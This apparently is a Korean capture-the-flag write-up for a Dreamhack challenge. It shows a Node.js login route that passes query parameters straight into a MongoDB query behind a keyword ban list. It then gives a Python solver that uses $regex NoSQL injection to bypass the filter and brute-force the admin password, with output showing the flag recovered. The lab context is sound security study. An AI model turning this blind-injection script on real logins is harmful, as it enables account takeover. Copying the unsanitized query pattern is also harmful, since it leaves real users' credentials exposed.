// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
admin, dh, admi
라는 문자열이 있을 때 true를 반환합니다.app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
http://host3.dreamhack.games:16060/login?uid=admin&upw[$regex]=DH{.*
filter 함수로 인해 uid
와 [$regex]=
값에 제한이 생겨버렸습니다.
하지만 임의 문자를 뜻하는 .
을 이용해서 쉽게 우회할 수 있습니다.
http://host3.dreamhack.games:16060/login?uid=ad.&upw[$regex]=D.*
import requests
import sys
import string
from urllib.parse import urljoin
class Solver:
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
self._success = 'admin'
self._alphanumeric = string.digits + string.ascii_letters
self._userid = 'ad.in'
def _login(self, uid: str, upw: str) -> requests.Response:
login_params = {"uid[$regex]": uid, "upw[$regex]": upw}
resp = requests.get(self._login_url, params=login_params)
return resp
def _find_length(self) -> int:
for i in range(100):
payload = f'^.{{{i}}}$'
resp = self._login(self._userid, payload)
if self._success in resp.text:
print(f'Password length: {i}')
return i - len('DH{}')
def _find_password(self, length: int) -> str:
password = ''
for i in range(length):
for ch in self._alphanumeric:
payload = f'^D.{{{password}{ch}'
resp = self._login(self._userid, payload)
if self._success in resp.text:
password += ch
print(f'Current password: DH{{{password}}}')
break
return f'DH{{{password}}}'
def solve(self) -> None:
print("Finding password:")
length = self._find_length()
password = self._find_password(length)
print(f"Password: {password}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python script.py <port>")
sys.exit(1)
port = sys.argv[1]
solver = Solver(port)
solver.solve()
python .\exploit.py 22491
Finding password:
Password length: 36
Current password: DH{8}
Current password: DH{89}
Current password: DH{89e}
Current password: DH{89e5}
Current password: DH{89e50}
Current password: DH{89e50f}
Current password: DH{89e50fa}
Current password: DH{89e50fa6}
Current password: DH{89e50fa6f}
Current password: DH{89e50fa6fa}
Current password: DH{89e50fa6faf}
Current password: DH{89e50fa6fafe}
Current password: DH{89e50fa6fafe2}
Current password: DH{89e50fa6fafe26}
Current password: DH{89e50fa6fafe260}
Current password: DH{89e50fa6fafe2604}
Current password: DH{89e50fa6fafe2604e}
Current password: DH{89e50fa6fafe2604e3}
Current password: DH{89e50fa6fafe2604e33}
Current password: DH{89e50fa6fafe2604e33c}
Current password: DH{89e50fa6fafe2604e33c0}
Current password: DH{89e50fa6fafe2604e33c0b}
Current password: DH{89e50fa6fafe2604e33c0ba}
Current password: DH{89e50fa6fafe2604e33c0ba0}
Current password: DH{89e50fa6fafe2604e33c0ba05}
Current password: DH{89e50fa6fafe2604e33c0ba058}
Current password: DH{89e50fa6fafe2604e33c0ba0584}
Current password: DH{89e50fa6fafe2604e33c0ba05843}
Current password: DH{89e50fa6fafe2604e33c0ba05843d}
Current password: DH{89e50fa6fafe2604e33c0ba05843d3}
Current password: DH{89e50fa6fafe2604e33c0ba05843d3d}
Current password: DH{89e50fa6fafe2604e33c0ba05843d3df}
Password: DH{89e50fa6fafe2604e33c0ba05843d3df}